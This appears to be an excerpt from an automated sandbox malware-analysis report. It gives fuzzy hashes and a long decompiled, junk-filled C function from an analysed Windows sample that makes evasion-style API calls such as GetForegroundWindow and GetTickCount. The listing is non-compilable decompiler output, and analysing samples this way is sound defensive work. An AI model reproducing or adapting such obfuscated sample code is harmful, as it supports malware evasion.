Opcode Fuzzy Hash: 732ec683e4a8df5c643848b0710ae0ab7b388840dd0a5804e1f472567bef798f
Instruction Fuzzy Hash: 46E19E67E2CA47B6FB126B6CA8492BD2260BF2470DF740735C71DD219ACF3DB5828245

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7899 Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 477
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FF67FF6B1CA7899(void* __ebx, void* __edi, signed int __esi, void* __ebp, void* __eflags, long long __r12, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				signed int _t88;
				void* _t91;
				signed int _t95;
				void* _t109;
				signed int _t214;
				void* _t236;
				signed int _t279;
				void* _t282;
				void* _t283;
				void* _t284;
				signed int _t317;
				signed int _t319;
				void* _t328;
				void* _t334;
				void* _t335;
				void* _t337;
				void* _t338;
				void* _t341;
				void* _t347;
				void* _t348;
				void* _t349;
				void* _t352;
				void* _t353;
				void* _t367;
				signed int _t377;
				signed int _t402;
				void* _t416;
				void* _t419;
				void* _t427;
				void* _t428;
				void* _t430;
				signed long long _t443;
				signed long long _t445;
				signed long long _t447;
				signed long long _t448;
				signed long long _t449;
				signed long long _t450;
				signed long long _t452;
				signed long long _t453;
				signed long long _t454;
				signed long long _t458;
				signed long long _t462;
				void* _t466;
				signed long long _t469;
				signed long long _t661;
				void* _t664;
				void* _t667;
				void* _t670;
				void* _t673;
				void* _t676;
				signed long long _t714;
				signed long long _t745;
				void* _t749;
				void* _t754;
				void* _t757;
				void* _t764;

				_t334 = __eflags;
				GetCurrentProcessId();
				_t282 = __ebx + r13d;
				 *0xb1decf60 = _t714;
				E00007FF67FF6B1D3ACF4(_t443);
				if (_t334 >= 0) goto 0xb1ca78bd;
				_t445 = _t443 & 0x8000007f | 0xffffff80;
				_t335 = _t445 - 9;
				if (_t335 != 0) goto 0xb1ca7894;
				 *0xb1decf60 = _t745;
				E00007FF67FF6B1D3ACF4(_t445);
				if (_t335 >= 0) goto 0xb1ca78e0;
				_t447 = _t445 & 0x8000007f | 0xffffff80;
				if (_t447 - 0xd < 0) goto 0xb1ca7888;
				 *0xb1decf68 = __r12;
				 *((intOrPtr*)(_t714 + 0x23)) =  *((intOrPtr*)(_t714 + 0x23)) + dil;
				E00007FF67FF6B1D3ACF4(_t447);
				r12d = 0x8000007f;
				goto 0xb1ca7922;
				_t337 = _t714 - 0x26;
				if (_t337 >= 0) goto 0xb1ca7935;
				_t283 = _t282 + r13d;
				 *0xb1decf60 = _t714;
				_t88 = E00007FF67FF6B1D3ACF4(_t447);
				if (_t337 >= 0) goto 0xb1ca7930;
				_t448 = _t447 | 0xffffff80;
				_t91 = (_t88 & r12d) - r13d + r13d;
				_t338 = _t448 - 0x65;
				if (_t338 == 0) goto 0xb1ca790f;
				 *0x93A63E800000025 =  *((intOrPtr*)(0x93a63e800000025)) + _t91;
				asm("les edi, [ebp+0x9]");
				if (_t338 >= 0) goto 0xb1ca794d;
				_t449 = _t448 | 0xffffff80;
				if (_t91 - r13d + r13d >= 0) goto 0xb1ca7978;
				_t284 = _t283 + r13d;
				 *0xb1decf60 = 0x3f;
				_t95 = E00007FF67FF6B1D3ACF4(_t449) & r12d;
				if (_t95 >= 0) goto 0xb1ca7974;
				_t450 = _t449 | 0xffffff80;
				_t341 = _t450 - 0x3;
				if (_t341 != 0) goto 0xb1ca7954;
				 *0xDE3B20EAFFFFFF83 =  *((intOrPtr*)(0xde3b20eaffffff83)) + dil;
				if (_t341 >= 0) goto 0xb1ca7994;
				 *0xb1decf60 = 0x2;
				 *0xb1decf60 = 0x52;
				if (0x52 - 0x5b < 0) goto 0xb1ca797d;
				 *((intOrPtr*)(0x93a63e800000025)) =  *((intOrPtr*)(0x93a63e800000025)) + (_t95 - r13d + r13d & r12d) - r13d + r13d;
				asm("les edi, [ebp+0x8]");
				if (0x52 - 0x5b >= 0) goto 0xb1ca79c8;
				_t452 = _t450 | 0xde3b20eb00000003;
				r12d = 0x37;
				goto 0xb1ca79f2;
				if (_t284 + r13d - r12d >= 0) goto 0xb1ca79f7;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(_t452);
				_t453 = _t452 & 0x8000007f;
				if (_t453 >= 0) goto 0xb1ca79f2;
				_t454 = _t453 | 0x00000003;
				if (_t454 == 0x1d) goto 0xb1ca79d0;
				E00007FF67FF6B1D3ACF4(_t454);
				 *0xb1decf60 = r13d;
				r13d = 0x4b;
				_t347 = __esi - r13d;
				if (_t347 < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = _t749 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t454);
				_push(0x8000007f);
				if (_t347 >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = _t754 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t454);
				if (_t347 >= 0) goto 0xb1ca7a41;
				_t458 = ((_t454 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d;
				_t348 = _t458 - 0x76;
				if (_t348 >= 0) goto 0xb1ca7a25;
				_t109 = E00007FF67FF6B1D3ACF4(_t458);
				if (_t348 >= 0) goto 0xb1ca7a57;
				_t462 = ((_t458 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d;
				_t349 = _t462 - 0x23;
				if (_t349 < 0) goto 0xb1ca7a7c;
				_pop(_t757);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + _t109;
				 *0xb1decf60 = 0x2d;
				AnyPopup();
				IsZoomed(??);
				GetModuleHandleW(??);
				IsZoomed(??);
				 *0xb1decf60 = 0x24;
				GetModuleHandleW(??);
				asm("cmpsd");
				_push(0x2d);
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t462);
				if (_t349 >= 0) goto 0xb1ca7ac8;
				_t466 = ((_t462 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d;
				if (_t466 - 0x33 > 0) goto 0xb1ca7ad2;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				_t469 = (_t466 - 0x0000002d | 0x00000003) + 0x2d;
				_t352 = _t469 - 0x69;
				if (_t352 >= 0) goto 0xb1ca7b2b;
				E00007FF67FF6B1D3ACF4(_t469);
				if (_t352 >= 0) goto 0xb1ca7afa;
				_t353 = ((_t469 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d - 0x44;
				if (_t353 == 0) goto 0xb1ca7b1f;
				E00007FF67FF6B1D3ACF4(((_t469 & 0x8000007f) - 0x0000002d | 0x00000003) + 0x2d);
				if (_t353 >= 0) goto 0xb1ca7b0e;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0xc;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				asm("adc al, 0x0");
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup();
				E00007FF67FF6B1D3ACF4(0x5d463f7100000041);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b69;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (0x14 - 0x1d < 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b8e;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7ba2;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7bc2;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1DA4020();
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 >= 0) goto 0xb1ca7be1;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x14 <= 0) goto 0xb1ca7d0d;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 >= 0) goto 0xb1ca7c0a;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7c22;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c36;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c4a;
				goto 0xb1ca7ca8;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c64;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 >= 0) goto 0xb1ca7c78;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime();
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 >= 0) goto 0xb1ca7c9f;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				_t367 = r14d - 0x5c;
				if (_t367 < 0) goto 0xb1ca7c13;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				if (_t367 >= 0) goto 0xb1ca7cd4;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7cf3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(0xe93332e300000044) & r14d) >= 0) goto 0xb1ca7d34;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(0xe93332e300000044) & r14d) >= 0) goto 0xb1ca7d49;
				 *0xb1decf60 = 0;
				if (0xe93332e300000044 - 0x67 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (0xe93332e300000044 - 0x67 >= 0) goto 0xb1ca7d7a;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0xe93332e300000044 - 0x67 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0xe93332e300000044 - 0x67 >= 0) goto 0xb1ca7da0;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(0xb1ca8590);
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t377 = E00007FF67FF6B1D3ACF4(0x8aee5e300000050) & r14d;
				if (_t377 >= 0) goto 0xb1ca7e07;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t377 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000050) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(0x59df3f7100000042);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(0xe7f25fd300000044);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				if (0xe7f25fd300000044 - 0x65 > 0) goto 0xb1ca7f1b;
				if (0xe7f25fd300000044 == 0x65) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (0xe7f25fd300000044 - 0x65 >= 0) goto 0xb1ca7f07;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7f44;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7f59;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7f76;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7fa9;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca7fec;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca8005;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca8020;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				_t402 = E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d;
				if (_t402 >= 0) goto 0xb1ca8046;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t402 != 0) goto 0xb1ca805e;
				if (_t402 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (_t402 >= 0) goto 0xb1ca807a;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t317 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca812d;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(0x8aee5e300000068) & r14d) >= 0) goto 0xb1ca8142;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t214 = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				_t215 = _t214 & r14d;
				if ((_t214 & r14d) >= 0) goto 0xb1ca8157;
				r8d = r15d;
				r8b = 0x8aee5e300000068 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *0x93339E80000004D;
				r8d = _a144;
				E00007FF67FF6B1CB41F0(_t215, _t328, 0x126552d000000039,  *0x93339E8000000BD, 0x8000007f); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t317, 0x126552d000000039, 0, 0x8aee5e300000068, _t764), _t328,  *((intOrPtr*)(0x93339e8000000bd)));
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				asm("push es");
				asm("movsd xmm6, [0x11694a]");
				if (0x932e5e3ffffffe8 != 5) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (0x932e5e3ffffffe8 - 5 >= 0) goto 0xb1ca81e3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x932e5e3ffffffe8 - 5 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (0x932e5e3ffffffe8 - 5 >= 0) goto 0xb1ca820e;
				if (0x932e5e3ffffffe8 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x932e5e3ffffffe8;
				 *0xb1decf60 = 0x2d;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t416 = r12d - 0x42;
				if (_t416 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (_t416 >= 0) goto 0xb1ca8274;
				if (0x932e5e3ffffffe8 - 0x2e > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				if (0x932e5e3ffffffe8 - 0x2e >= 0) goto 0xb1ca828f;
				_t319 = r15d & 0xffffff00 | 0x932e5e3ffffffe8 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t236 = E00007FF67FF6B1D3ACF4(0x932e5e3ffffffe8);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t319;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t319;
				 *0x6b =  *0x6b + _t236;
				_t661 = _a152 + 0x2d;
				_a152 = _t661;
				 *0xb1decf60 = _t661;
				_t419 = _t661 - 0x1f;
				if (_t419 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = 0x2d;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t661 =  *_t661 | _t661;
				if (_t419 >= 0) goto 0xb1ca8308;
				_t664 = (_t661 - 0x0000002d | 0xffffff80) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t419 != 0) goto 0xb1ca8318;
				if (_t419 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t664) & r14d) >= 0) goto 0xb1ca8333;
				_t667 = (_t664 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t667 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t667) & r14d) >= 0) goto 0xb1ca835e;
				_t670 = (_t667 - 0x0000002d | 0xffffff80) + 0x2d;
				if (_t670 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t670);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t673 = (_t670 - 0x0000002d | 0xffffff80) + 0x2d;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t673);
				if (_t673 - 0x34 >= 0) goto 0xb1ca8397;
				_t676 = (_t673 - 0x0000002d | 0xffffff80) + 0x2d;
				_t427 = _t676 - 0x1f;
				if (_t427 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t676);
				if (_t427 >= 0) goto 0xb1ca83ac;
				_t428 = (_t676 - 0x0000002d | 0xffffff80) + 0x2d - 4;
				if (_t428 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t676 - 0x0000002d | 0xffffff80) + 0x2d);
				if (_t428 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t430 = r13d - 0x54;
				if (_t430 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t430 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = 0x2d;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = 0x2d;
				IsIconic(??);
				asm("adc al, 0x0");
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(0x546a3f710000007d);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t279 = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = 0x7ff727c9ffffffd0 + _t757 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t279 & r14d;
			}

0x7ff6b1ca7899
0x7ff6b1ca7899
0x7ff6b1ca789f
0x7ff6b1ca78a2
0x7ff6b1ca78a8
0x7ff6b1ca78b2
0x7ff6b1ca78b7
0x7ff6b1ca78bd
0x7ff6b1ca78c0
0x7ff6b1ca78c5
0x7ff6b1ca78cb
0x7ff6b1ca78d5
0x7ff6b1ca78da
0x7ff6b1ca78e3
0x7ff6b1ca78ec
0x7ff6b1ca78fc
0x7ff6b1ca7902
0x7ff6b1ca7907
0x7ff6b1ca790d
0x7ff6b1ca790f
0x7ff6b1ca7912
0x7ff6b1ca7914
0x7ff6b1ca7917
0x7ff6b1ca791d
0x7ff6b1ca7925
0x7ff6b1ca792a
0x7ff6b1ca792d
0x7ff6b1ca7930
0x7ff6b1ca7933
0x7ff6b1ca793e
0x7ff6b1ca7941
0x7ff6b1ca7942
0x7ff6b1ca7947
0x7ff6b1ca7956
0x7ff6b1ca7958
0x7ff6b1ca795b
0x7ff6b1ca7966
0x7ff6b1ca7969
0x7ff6b1ca796e
0x7ff6b1ca7974
0x7ff6b1ca7976
0x7ff6b1ca7981
0x7ff6b1ca798a
0x7ff6b1ca799d
0x7ff6b1ca79a3
0x7ff6b1ca79af
0x7ff6b1ca79ba
0x7ff6b1ca79bd
0x7ff6b1ca79be
0x7ff6b1ca79c3
0x7ff6b1ca79c8
0x7ff6b1ca79ce
0x7ff6b1ca79d3
0x7ff6b1ca79d8
0x7ff6b1ca79de
0x7ff6b1ca79e3
0x7ff6b1ca79e8
0x7ff6b1ca79ed
0x7ff6b1ca79f5
0x7ff6b1ca79f7
0x7ff6b1ca79fc
0x7ff6b1ca7a06
0x7ff6b1ca7a0e
0x7ff6b1ca7a11
0x7ff6b1ca7a13
0x7ff6b1ca7a19
0x7ff6b1ca7a27
0x7ff6b1ca7a28
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a39
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4f
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a84
0x7ff6b1ca7a8c
0x7ff6b1ca7a94
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7ac0
0x7ff6b1ca7ac6
0x7ff6b1ca7acb
0x7ff6b1ca7ad0
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af2
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b06
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2d
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b4b
0x7ff6b1ca7b52
0x7ff6b1ca7b54
0x7ff6b1ca7b5a
0x7ff6b1ca7b61
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
